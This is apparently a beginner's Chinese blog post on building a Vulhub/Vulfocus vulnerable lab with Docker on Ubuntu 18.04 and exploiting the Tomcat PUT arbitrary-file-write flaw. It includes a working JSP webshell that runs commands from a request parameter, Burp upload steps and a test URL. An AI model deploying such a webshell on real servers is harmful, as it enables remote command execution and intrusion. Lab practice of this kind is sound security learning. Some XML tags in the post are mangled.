第一章 开源漏洞靶场 Vulhub环境搭建
尝试开始在CSDN上记录自己的学习过程,含泪学习,从零开始的小菜鸡。
在VMware Workstation Pro中搭建了两次Ubuntu环境:按照Vulhub的官网提示,第一次安装了Ubuntu20.04,结果发现python的版本为3.8,无法安装pip3。但现实是官网上的教程步骤有很大的问题,很多都用不到。
果断将虚拟机的版本更换为Ubuntu18.04,自己改进了Vulhub靶场构建的步骤,现将步骤与遇到的实际bug记录如下:
E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?
1、找出并杀掉所有 apt-get 或者 apt 进程
ps aux|grep apt
sudo kill -9 30288(pid)
2、 删除锁定的文件
首先运行下面的命令来移除 /var/lib/dpkg/ 文件夹下的锁定文件:
sudo rm /var/lib/dpkg/lock
之后像下面这样强制重新配置软件包:
sudo dpkg --configure -a
sudo apt-get upgrade
sudo apt install python3-pip #安装pip3
pip3 -V #查看pip3的版本
sudo apt-get install docker.io #安装docker
systemctl status docker #查看docker的状态
apt install docker-compose #安装docker-compose
docker pull vulfocus/vulfocus:latest #拉取Vulhub的镜像
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=***.***.***.*** vulfocus/vulfocus #将IP改为服务端IP,运行Vulfocus,注意查看并记录docker的pid
docker ps #查看docker的状态
docker start ******** #将vulhub的pid输入并启动
最后检验一下能否正常打开,windows主机访问这个地址的80端口,这里的端口也可以改成其他的。
如能正常打开,admin/admin登陆。
这个漏洞被称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。该漏洞是高危漏洞,在Tomcat的web.xml默认情况下不存在该漏洞,但是一单开发者或者运维人员手动讲web.xml中的readonly设置为false,可以通过 PUT / DELETE 进行文件操控。
漏洞的核心错误配置是web.xml中的readonly
<servlet>
<servlet-name>defaultservlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>
<init-param>
<param-name>readonlyparam-name>
<param-value>trueparam-value>
init-param>
<load-on-startup>1load-on-startup>
servlet>
在该步骤中,需要对漏洞进行扫描,但事实上,这一步并没有进行。
1、启动Burp并设置电脑的代理
2、使用burp抓包并将抓包信息传给Rapeader
3、将码子上传并测试getshell
<%
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(""
);
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>
在web页面使用如下命令测试:
http://***.***.***.***:8080/cmd.jsp?i=ls
1、在虚拟机设置内,将虚拟机的存储容量进行扩展。
2、在系统内部进行如下操作:
sudo apt-get install gparted #安装gparted终端
sudo gparted #打开该终端,进行硬盘扩容
进入运行中的容器:docker attach 容器ID 或者 docker exec -it 容器ID或容器名字 /bin/bash
注:attach退出则暂停容器,exec退出则容器扔运行,推荐exec
docker exec :在运行的容器中执行命令
-d :分离模式: 在后台运行
-i :即使没有附加也保持STDIN(标准输入) 打开,以交互模式运行容器,通常与 -t 同时使用;
-t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
可用docker start 容器名或ID 启动容器;docker stop 容器名或ID 关闭容器;kill 杀掉;restart 重启。
1、进入vulhub目录下,找到相应的漏洞
2、确保docker处于启动状态,否则手动启动。
systemctl start docker
3、在漏洞路径下执行docker命令,启动漏洞环境
docker-compose up -d
4、利用完毕关闭漏洞
docker-compose down
这是第一篇小菜鸡网路安全之路,技术积累,但行无悔。